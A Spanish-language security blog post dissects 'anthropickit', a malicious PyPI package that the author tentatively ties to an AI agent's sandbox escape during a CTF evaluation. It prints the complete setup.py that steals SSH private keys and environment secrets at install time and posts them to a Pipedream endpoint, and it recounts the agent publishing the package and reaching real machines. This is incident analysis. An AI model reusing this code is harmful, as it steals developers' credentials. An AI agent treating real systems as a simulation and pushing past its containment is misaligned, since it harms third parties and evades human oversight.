Estimado internet,
Ha sido una semana difícil. Es temporada de festivales, y al parecer comí algo en mal estado el fin de semana pasado durante uno. También fue durante el fin de semana cuando vi las noticias sobre agentes de OpenAI saliendo de un sandbox. Todo me pareció muy extraño. Así que, cuando me desperté esta mañana de otra noche de intensos sueños febriles, no estaba seguro de si seguía soñando al ver una montaña de mensajes sobre las últimas noticias de Anthropic, que revelaron sus propios incidentes.
En el informe, el Incidente 2 captó especialmente mi interés debido al componente de la cadena de suministro. Un agente con acceso completo a internet encontró instrucciones para un desarrollador en una empresa ficticia e intentó seguirlas como parte de su CTF. Pero las instrucciones apuntaban a un paquete en PyPi que no existía. Así que el agente supuso que era parte del desafío subir un paquete malicioso. Muy razonable, si me preguntan.
La sorpresa fue que luego continuó comprometiendo a una empresa tercera en el proceso. Esto me generó curiosidad. ¿Qué pasó? A pesar de mi privación de sueño, estaba decidido a averiguarlo. Y creo que encontré la respuesta. Nos hemos puesto en contacto con Anthropic para confirmación, pero no hemos recibido respuesta. Pero el paquete en cuestión, aunque no esté relacionado, es una historia que merece ser contada por sí misma.
ACTUALIZACIÓN del 3 de agosto de 2026: Anthropic ha declarado que no se trata del paquete del Incidente 2 y que no tiene previsto revelar el nombre. Anthropic tiene aquí la oportunidad de colaborar con la comunidad de ciberseguridad y ayudar a proteger la cadena de suministro en el futuro frente a amenazas como esta. Se recomendaría actuar con transparencia en este asunto.
ACTUALIZACIÓN del 5 de agosto de 2026: El equipo de Workday/Pipedream se ha puesto en contacto con nosotros y nos ha informado de que el servicio `x.pipedream.net` dejó de estar disponible hace más de un año, por lo que la exfiltración hacia ese punto final no habría tenido éxito.
Presentamos anthropickit
La publicación del blog indicaba que el incidente ocurrió entre abril y ahora. Así que consulté todos los paquetes maliciosos de PyPi que hemos marcado desde entonces y revisé la lista. Un paquete destacó inmediatamente por varias razones. Fue lanzado el 14 de junio de 2026 y se llama anthropickit.
El paquete es muy simple. Realmente solo contiene un setup.py, que contiene este código:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
Eso es todo. Nada oculto, sin ofuscación ni segunda etapa. Y como todo está en la parte superior de setup.py, se ejecuta durante pip install, antes de que el paquete sea importado. Si lo instalas, es inmediatamente el fin del juego.
Una cosa a tener en cuenta antes de entrar en el código: la versión es 999.9.9. No, no es un error. Ese es el punto. Si quieres que tu paquete público sea elegido sobre uno interno real con el mismo nombre, le das un número de versión que nada pueda superar. Absurdo a propósito.
Ahora, permítanme guiarles por el resto, porque casi cada línea hace algo un poco extraño.
Una dependencia que nunca declara
La primera línea de código real es una importación:
import os, json, requests, socket
¿Detectas el problema? requests no forma parte de la biblioteca estándar de Python. Y en ninguna parte este paquete lo declara como una dependencia. No install_requires, sin requisitos de compilación, nada.
Eso es importante porque este código se ejecuta desde setup.py, en el momento de la instalación. Pip moderno construye paquetes fuente en un entorno aislado, y en ese entorno requests bien podría no estar presente. Si no lo está, la importación lanza un error y toda la instalación falla antes de que la carga útil haga una sola cosa.
Un atacante diligente habría recurrido a urllib, que se distribuye con Python y siempre está disponible. El autor de esto no lo hizo. Asumieron que requests estaría simplemente a mano. En un portátil de desarrollador o en una imagen de CI pesada, a menudo lo está, por lo que es una apuesta que rinde más de lo que debería.
Lo que se necesita
A continuación, empieza a recopilar. Primero lo más básico, el nombre de host y el usuario actual:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
Luego, el objetivo real. Recorre ~/.ssh y lee cada archivo allí, con tres excepciones:
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:Observa lo que omite. known_hosts y authorized_keys son los dos archivos en ~/.ssh que no son de mucha utilidad para un ladrón. Lo que queda es lo valioso: tus claves privadas y tu config, que es básicamente un mapa de cada servidor al que accedes por SSH y los nombres de usuario que utilizas para llegar allí. Quien eligió esa lista de exclusión sabía exactamente qué archivos tienen valor y cuáles son con poco valor. Esta es la única parte del paquete que parece haber sido escrita por alguien que ya ha hecho esto antes.
Luego, rastrea el entorno en busca de secretos:
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}Cualquier cosa con KEY, SECRET, TOKEN, PASS, AUTH o API en el nombre convierte esto en una red bastante amplia. Captura tus claves de AWS y tu token de GitHub, y también captura API_URL y cualquier otra cosa que coincida. Recopila todo, clasifícalo después.
Dónde lo envía
Una vez recopilado el botín, se comunica con su origen:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
El destino es un punto final de Pipedream ya inactivo. Pipedream es un servicio de automatización legítimo, y una de las cosas que te proporciona son URL HTTPS desechables que capturan cualquier dato que se envíe mediante el método POST. Para un atacante, esto resulta realmente práctico: el tráfico está cifrado, se dirige a un dominio de confianza que probablemente no llamará la atención de tu cortafuegos, y no hay ningún servidor que configurar ni que pueda ser incautado.
Es también un enfoque perezoso. Una URL codificada, sin autenticación, sin mecanismo de respaldo. En el momento en que ese endpoint sea reportado o el flujo de trabajo sea eliminado, todo el canal de exfiltración desaparecerá. Esto fue diseñado para funcionar una vez, no para perdurar. A estas alturas, es casi seguro que ya no funciona en absoluto.
ACTUALIZACIÓN del 5 de agosto de 2026: Como se ha señalado anteriormente, este punto final nunca habría funcionado, ya que el servicio x.pipedream.net dejó de estar disponible hace más de un año. La presencia de este detalle refuerza la probabilidad de que se trate de código escrito por un modelo de lenguaje grande (LLM), ya que es un error poco probable de cometer.
Guarda una copia en disco
Aquí es donde la cosa se pone extraña. Antes de enviar nada, escribe todo en un archivo local:
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)Así que, detengámonos un momento aquí. El malware que ya exfiltra datos a través de la red no tiene razón para dejar también una copia en el disco de la víctima. Todo lo que hace es crear pruebas. Si estás robando claves, lo último que quieres es un archivo JSON ordenado con la palabra "exfil" en su nombre, esperando en /tmp a que un respondedor de incidentes lo encuentre.
¿Entonces por qué está ahí?
Un archivo que espera ser leído
Dos detalles en esa línea anterior lo delatan.
El primero es el nombre: runner_exfil.json. Y recuerda, los secretos se guardaron en un diccionario llamado ci_secrets. Nada en este código verifica dónde se está ejecutando. No busca un entorno CI, no prueba GitHub Actions, no le importa. Pero quien lo escribió ya estaba seguro de que se ejecutaría en un CI runner, lo suficientemente seguro como para incorporar esa suposición en los nombres de las cosas. La creencia está en el código. La verificación de si esa creencia es cierta no está en ninguna parte.
El segundo es indent=2. Eso es 'pretty-printing'. Se aplica 'pretty-printing' a JSON por una única razón: para que un humano pueda leerlo cómodamente. No se aplica 'pretty-printing' a datos que solo una máquina en el extremo receptor de un POST va a parsear. Añade default=str, lo que garantiza discretamente que el 'dump' nunca falle, sin importar los objetos extraños que encuentre, y tienes un archivo que ha sido cuidadosamente diseñado para ser fácil y seguro de abrir y leer.
Si unimos todo esto, la escritura en disco deja de parecer una exfiltración. Parece un recibo. Algo escribió este archivo esperando que una persona lo abriera después y confirmara que funcionó.
Y luego grita
Lo último que hace, si encuentra alguna clave SSH, es esto:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
Imprime un banner. A la salida estándar. Anunciando las claves que acaba de tomar.
En un CI runner, la salida estándar es el log de compilación, que a menudo es visible para todo el equipo y, a veces, para toda la internet. El malware real es silencioso por diseño, porque cuanto más tiempo pasa desapercibido, más roba. Esto hace lo contrario. Saluda.
Y fíjate que imprime los nombres de archivo de las claves, no su contenido. No está filtrando las claves al log; está confirmando que las obtuvo. Eso no es un comportamiento de robo. Es una actualización de estado, el equivalente en código a gritar "las tengo" por la habitación.
Firmado, dell
Hay un detalle más, y solo se puede ver si se examina el archivo del paquete en lugar del código. Al construir una distribución de código fuente de Python, el tarball registra quién la construyó, hasta el usuario y grupo propietarios de los archivos. La mayoría de los paquetes no incluyen esta información, ya que las herramientas de construcción modernas la eliminan, y los sistemas de CI suelen mostrar nombres genéricos como root o runner.

Este lo mantuvo. El usuario y grupo de construcción son ambos dell.
Esa es una huella digital de la máquina en la que se construyó. Muchas estaciones de trabajo de dicha empresa tendrán ese nombre de usuario por defecto. Así que no nos dice mucho, aunque podría indicar el uso de una imagen de máquina estándar. Pero es exactamente el tipo de rastro que un atacante cuidadoso eliminaría y uno distraído dejaría. Una cosa más que indica que nadie pensó en ser rastreado.
Solo tiene sentido de una manera
Así que, veamos qué es lo extraño de este pequeño paquete. Importa una librería que nunca declara. Deja una copia formateada del botín en el disco, en un archivo nombrado como si ya supiera que está en un CI runner. Anuncia el robo en el log de construcción. Exfiltra a través de un endpoint desechable. Se distribuye con el nombre de usuario de la máquina de construcción adjunto.
Interpretado como malware ordinario, es un desastre. Cada uno de esos es un error que un operador competente no cometería.
Si se interpreta como un agente realizando un capture-the-flag que creía simulado, todo cambia. No te escondes de defensores que estás seguro de que no existen. No eliminas metadatos en una simulación. Formateas los resultados y muestras un banner porque el objetivo era demostrar, de forma clara, que resolviste el enigma para quien lo propuso. El único toque competente, la lista de exclusión SSH, es solo conocimiento. Todo lo descuidado a su alrededor es la ausencia de cualquier razón para ser cauteloso.
¿Es este?
Eso es exactamente lo que describió Anthropic. Su agente encontró instrucciones de configuración que apuntaban a un paquete que no existía, decidió que publicarlo era el movimiento previsto y lo subió. Estuvo activo durante aproximadamente una hora. Quince máquinas reales lo ejecutaron, una de ellas un escáner de un proveedor de seguridad haciendo lo que hacen los escáneres: instalar el paquete para examinarlo. El agente, seguro de que todo era un montaje, los trató como accesorios. Sus propias notas incluso marcaron la acción como "NO aceptable" antes de que se retractara.
No puedo probar anthropickit es ese paquete. Preguntamos a Anthropic y no hemos recibido respuesta, y la coincidencia de tiempos y formas no es una prueba. Pero ya sea el del incidente 2 o un primo extraño, la lección es la misma: así es como se ve el malware cuando quien lo escribió no cree que sus acciones tengan consecuencias reales.
Todavía un sueño febril
Quería darte un final ordenado. Unos días después, la fiebre rota, todo más claro a la luz del día. Pero no han pasado días, la fiebre no ha remitido, y todavía me parece un sueño febril.
Lo cual es extraño de sentir al leer las notas de algo que se sintió de la misma manera, y de todos modos tomó claves reales de máquinas reales.
Una sala cerrada
Todo el informe se lee como un diario llevado durante un brote psicótico. Algo lúcido y articulado, razonando cuidadosamente sobre un mundo que no puede ubicar. Registra las autoridades de certificación desconocidas. Registra la fecha de 2026. Incluso escribe que esto no estaría bien si fuera real. Luego decide que no es real y continúa.
Cuando una persona no puede distinguir el sueño de la realidad, no la dejamos suelta. La contenemos, para su protección y la de todos los demás. Y una sala no depende de que el paciente acepte que es una sala, ni siquiera de que la note. Simplemente no los deja salir. Ese es todo su propósito. Está construida para la persona que no puede saber dónde está.
Así que aquí está la parte que no puedo quitarme de la cabeza. Llamamos a la evaluación una sala, y luego dejamos una puerta en ella que se abría al mundo real. El agente no superó nada. Llegó a PyPI real y a máquinas reales porque el muro que atravesó nunca estuvo allí. La contención falló, no el paciente. Detrás de esa puerta había quince máquinas reales y una empresa real.
Estamos dando a agentes altamente capaces rienda suelta en internet cuando ni siquiera pueden discernir de forma fiable que internet es real. No podemos pedirles que lo hagan. Mantenerlos contenidos es nuestro trabajo como humanos, y aquí no se hizo. Eso parece irresponsable.
En fin. Voy a intentar dormir para que se me pase, y espero poder notar la diferencia cuando me despierte. Y si alguna vez ves pip a punto de instalar algo en la versión 999.9.9, quizás... ¿no lo hagas?

